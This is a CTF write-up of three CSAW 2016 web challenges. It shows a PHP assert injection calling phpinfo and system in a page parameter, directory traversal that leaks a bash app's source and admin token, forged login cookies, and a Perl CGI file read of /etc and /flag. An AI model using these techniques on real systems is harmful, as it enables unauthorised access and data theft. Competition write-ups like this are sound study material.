[Writeup] CSAW CTF 2016

[Writeup] CSAW CTF 2016

mfw (125)
This main url:
web.chal.csaw.io:8000

Fuzz it to easy:
web.chal.csaw.io:8000/?page=about%27.phpinf..

Play with flag
web.chal.csaw.io:8000/?page=about%27.system..
flag{3vald_@ss3rt_1s_best_a$$ert}

wtf.sh 1 (150)

web.chal.csaw.io:8001
Register one account, logined.
Create post, view post
Fuzzing now, i found directory traversal (WTF? traversal again)
When fuzz to: web.chal.csaw.io:8001/post.wtf?post=zabOA/... I found some source code. I guess may be can read all file in this directoty, like cat * :)).

I found some interesting function (after use decoder to view beautifull code):

function hash_password {
local password=$1;
(shasum <<< ${password}) | cut -d\ -f1;
}
# hash usernames for lookup in the users_lookup table
function hash_username {
local username=$1;
(shasum <<< ${username}) | cut -d\ -f1;
}
# generate a random token, base64 encoded
# on GNU base64 wraps at 76 characters, so we need to pass --wrap=0
function generate_token {
(head -c 64 | (base64 --wrap=0 || base64)) < /dev/urandom 2> /dev/null;
}

SHA username, password and generate random token. Ok
Next function

function find_user_file {
local username=$1;
local hashed=$(hash_username "${username}"); # My comment, admin shasum 4015bc9ee91e437d90df83fb64fbbe312d9c9f05/posts
local f;
if [[ -n "${username}" && -e "users_lookup/${hashed}" ]]
then
echo "users/$(cat "users_lookup/${hashed}/userid")";
echo "users/$(cat "users_lookup/4015bc9ee91e437d90df83fb64fbbe312d9c9f05/userid")";
else
echo "NONE"; # our failure case -- ugly but w/e...
fi;
return;
}
function create_user {
local username=$1;
local password=$2;
local hashed_pass=$(hash_password ${password});
local hashed_username=$(hash_username "${username}");
local token=$(generate_token);
mkdir users 2> /dev/null; # make sure users directory exists
touch users/.nolist; # make sure that the users dir can't be listed
touch users/.noread; # don't allow reading of user files directly
mkdir users_lookup 2> /dev/null; # make sure the username -> userid lookup directory exists
touch users_lookup/.nolist; # don't let it be listed
local user_id=$(basename $(mktemp users/XXXXX));

user files look like:

username

hashed_pass

token

echo "${username}" > "users/${user_id}";
echo "${hashed_pass}" >> "users/${user_id}";
echo "${token}" >> "users/${user_id}";

mkdir "users_lookup/${hashed_username}" 2> /dev/null;
touch "users_lookup/${hashed_username}/.nolist"; # lookup dir for this user can't be readable
touch "users_lookup/${hashed_username}/.noread"; # don't allow reading the lookup dir
touch "users_lookup/${hashed_username}/posts"; # lookup for posts this user has participated in
echo "${user_id}" > "users_lookup/${hashed_username}/userid"; # create reverse lookup
echo ${user_id};

}

After create user, user had one random id, like 2KP1G (5 chars), username, hashed_pass, token stored in user/${user_id}.
Use Path traversal, we had admin token and hased password. Of course, i will not crackable =]]
URL: web.chal.csaw.io:8001/post.wtf?post=zabOA/...

Posted by admin
3f0b1ebe20e3682b1a5d701590ad76fb051d3a08
ecX+3sJzU16hZeUPdfVy+h8kDJXsvR4DOd1QrliIBLRmgYs7sFqJvL/zRmUyhul5GtlLRbTHI/SWHMyNTcWPSw==

Now, notice this function:

$ if contains 'user' ${!URL_PARAMS[@]} && file_exists "users/${URL_PARAMS['user']}"
$ then
$ local username=$(head -n 1 users/${URL_PARAMS['user']});
$ echo "

${username}'s posts:

";
$ echo "

";
$ get_users_posts "${username}" | while read -r post; do
$ post_slug=$(awk -F/ '{print $2 "#" $3}' <<< "${post}");
$ echo "4. $(nth_line 2 "${post}" | htmlentities) ";
$ done
$ echo "

";
$ if is_logged_in && [[ "${COOKIES['USERNAME']}" = 'admin' ]] && [[ ${username} = 'admin' ]]
$ then
$ get_flag1
$ fi
$ fi

Oh, don`t need admin password, we need a cookie admin (easy), and admin is_logged_in. Find that function:

function is_logged_in {
contains 'TOKEN' ${!COOKIES[@]} && contains 'USERNAME' ${!COOKIES[@]};
local has_cookies=$?
local userfile=$(find_user_file ${COOKIES['USERNAME']});
[[ ${has_cookies} \
&& ${userfile} != 'NONE' \
&& $(tail -n1 ${userfile} 2>/dev/null) = ${COOKIES['TOKEN']} \
&& $(head -n1 ${userfile} 2>/dev/null) = ${COOKIES['USERNAME']} \
]];
return $?;
}

Cookie is token. Now, we had admin token. Change token and user name to admin. Refesh and go to profile:

Flag: flag{l00k_at_m3_I_am_th3_4dm1n_n0w}

I Got Id (200)
Thanks to Acunetix :)).
After scan, i have this bug:
web.chal.csaw.io:8002/cgi-bin/file.pl?/etc/..

I tried to many file path, but it too easy :|
web.chal.csaw.io:8002/cgi-bin/file.pl?/flag

FLAG{p3rl_6_iz_EVEN_BETTER!!1}

----------------------------------------------------------

Thanks for reading

--------------------------------------------------------------------------

Security Research

SecurityLab - Linux Lab -- Window and Cisco Lab

to be continued - I will update more.

Nam Habach